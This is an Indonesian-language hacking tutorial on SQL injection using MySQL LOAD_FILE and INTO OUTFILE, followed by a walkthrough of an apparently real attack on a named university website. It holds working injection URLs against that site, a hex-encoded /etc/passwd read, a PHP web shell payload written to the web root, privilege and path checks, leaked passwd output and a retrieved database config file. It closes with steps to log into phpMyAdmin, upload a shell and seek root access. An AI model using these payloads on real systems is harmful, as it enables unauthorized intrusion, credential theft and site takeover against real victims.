Tutorial Load File dan Into Outfile SQL (Online Test)

SELECT LOAD_FILE('path/file.php')--

example 
UNION SELECT 1,2,LOAD_FILE('etc/passwd'),3--

kadang , fungsi magic_quotes menghalangi kita untuk memasukkan directory,karena karakter 

' tidak akan d proses.
makanya kita bisa juga menggunakan hexa.
UNION SELECT 1,2,LOAD_FILE(0x2F6574632F706173737764),3--

Next..

2.INTO OUTFILE

into outfile ialah suatu query SQL dimana berguna untuk mengupload suatu data atau file 

menuju path yang telah kita tentukan.

query nya:
SELECT 'script' INTO OUTFILE 'path/file.php'--
example

UNION SELECT 1,2,'<?include($_GET["cmd"]);?>',4 INTO OUTFILE 

'/var/www/public_html/shell.php'--

Jika fungsi magic quotes pada web tersebut d aktifkan ,maka teknik ini tidak akan bisa d 

gunakan ..krn into outfile tidak support hexa.

*.yang perlu d perhatikan saat upload shell lewat into outfile

1.Mendapatkan user dengan user root@localhost
cek dengan command = 
union select user() --

2.Cek file_privelege .
cek file privelege di gunakan untuk mengetahui apakah kita mempunyai privilege untuk 

merubah data d web tsb .
cek dgn command :
union select file_priv from mysql.user--

jika keluar huruf Y ,maka kita mempunyai akses,jika kluar N ,maka kita tidak mempunyai 

akses .

3.Cek Ukuran File yang boleh di upload
dengan query :
union select @@max_allowed_packet --

4.Menebak Path yang writable untuk d upload file nya.
hint : gunakan imajinasi anda :P


oke ..untuk sekedar pemanasan sudah cukup ..langsung to the poitn ajah ..

EKSPLOITASI WEB .

1. CEK WEB TARGET 

kmrn dpt target dr kak aphe2 ..langsung d coba ..eh taunya .

http://www.fppsm.utm.my/academicview.php?cid=9+AND+1=2+UNION+SELECT+0,1,user(),3,4,

5,6,7--

root@localhost

walah aya2 wae ..
coba test dulu idup apa engga magic quotes skalian cek file_priv nyah .langsung load file 

ajah .
http://www.fppsm.utm.my/academicview.php?cid=9+AND+1=2+UNION+SELECT+0,1,load_file('

/etc/passwd'),3,4,5,6,7%20from%20mysql.user--

wewks.

ternyata..
ga aktif magic quotes nyahh ..

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin dan seterusnya..

hmm gmn yahh slanjutnya ?
cek file_priv dehh.
http://www.fppsm.utm.my/academicview.php?cid=9+AND+1=2+UNION+SELECT+0,1,file_priv,3

,4,5,6,7%20from%20mysql.user--

weks. Y !! boleh upload ...asikk ..

slanjutnya cek maksimum ukuran file nyahh ..
http://www.fppsm.utm.my/academicview.php?cid=9+AND+1=2+UNION+SELECT+0,1,@@max_allow

ed_packet,3,4,5,6,7--

1048576 >>> hmmm dalam byte lohh bukan megabyte :P


walah udah mantep banget nih sob..lanjutkan ajaa..


2.EKSPLOITASI WEB TARGET
udah banyak yg kita cek,skrg lakukan upload shell ..
sjujurnya saya sampe skrg juga blm nemu path d web yg writeable,baru nemu /tmp/ doang :P

jadi karena itu ..

pertama kita cek path dari web tersebut dengan query @@datadir
http://www.fppsm.utm.my/academicview.php?cid=9+AND+1=2+UNION+SELECT+0,1,@@datadir,3

,4,5,6,7--
walah gag bisa ..brarti fungsinya bisa jadi d nonaktifkan tuh ..

coba cara lain ..dengan load_file
http://www.fppsm.utm.my/academicview.php?cid=9+AND+1=2+UNION+SELECT+0,1,load_file('

wawawa'),3,4,5,6,7%20from%20mysql.user--


/var/lib/mysql/wawawa

walah folder sql toh yg kluar ..
yaudah dehh nyerahh ahh ..

hehe jgn dulu lahh ..
coba cek info php dr web tsb ..

http://www.fppsm.utm.my/phpinfo.php

nothing

http://www.fppsm.utm.my/info.php

waw ada !!

langsung carii path web tsb berada ..


_SERVER["DOCUMENT_ROOT"] /var/www/html


wahh ada..
mantaps

bisa into outfile nihh..

(silahkan into outfile ,kl ada yg nemu folder yg writable hubungi saya ,saya jg mau 

wkekekek)

haduh bingung..
karena mentok,
kita ubek config.php nya aja yukk .buat masuk phpmyadmin nyaa..

tapi dmna yahh config.php nyaa ?

lets go lah..gunakan load_file ..

intinya pada dasarnya ,coba load index.php ,lalu cari include config.php disitu ,jika ga 

ada coba cari trus.

kita coba ajah .
http://www.fppsm.utm.my/academicview.php?cid=9+AND+1=2+UNION+SELECT+0,1,2,3,load_fi

le(%27/var/www/html/index.php%27),5,6,7--

walah berantakan .ga ada yang bagus.

coba load halaman admin ajah.

http://www.fppsm.utm.my/academicview.php...d_file('/v

ar/www/html/administrator/index.php'),5,6,7--


$adminpanel = true;
$adminindex = true;

define("ROOT_PATH","./../");
include_once(ROOT_PATH . "core/main.php");


wew.
coba buka lagi yang core/main.php



ZZZZZZ :)

ZZZZZZ :)

ZZZZZZ :)


setelah beberapa langkah untuk menemukan config ,akhirnya ..
http://www.fppsm.utm.my/academicview.php?cid=9+AND+1=2+UNION+SELECT+0,1,2,3,load_fi

le('xxx/xxx/xxx/xxx/xxxx.php;),5,6,7%20from%20mysql.user--

sorry gw sensor...silahkan cari sendiri hhee ..
kl perlu boleh PM ..

huffhhh ..

// Database configuration

/* production - real fppsm server at cict utm */
/*
$config["dbtype"] = "mysql"; //mysql/pgsql
$config["host"] = "xxxxx";
$config["user"] = "xxxxx";
$config["password"] = "xxxxxx";
$config["database"] = "xxxxx";
$config["prefix"] = "wali";
*/

/* development */
$config["dbtype"] = "mysql"; //mysql/pgsql
$config["host"] = "xxxxxx";
$config["user"] = "xxxxx";//"xxxxx";
$config["password"] = "xxxxxx"; // ""
$config["database"] = "xxxxx"; //xxxx
$config["prefix"] = "wali";


akhirnyaa ..

langsung aja dehhh ..

http://www.fppsm.utm.my/phpmyadmin/

login as root@localhost.

masuk phpmyadmin dehh ,take admin pass..
masuk ke web admin panel..upload shell ..
coba take root ..
jrengg..

selamat mencoba :)


iseng :)
http://www.fppsm.utm.my/academicview.php?cid=9+AND+1=2+UNION+SELECT+0,1,2,3,load_fi

le(%27/tmp/test.php%27),5,6,7%20from%20mysql.user--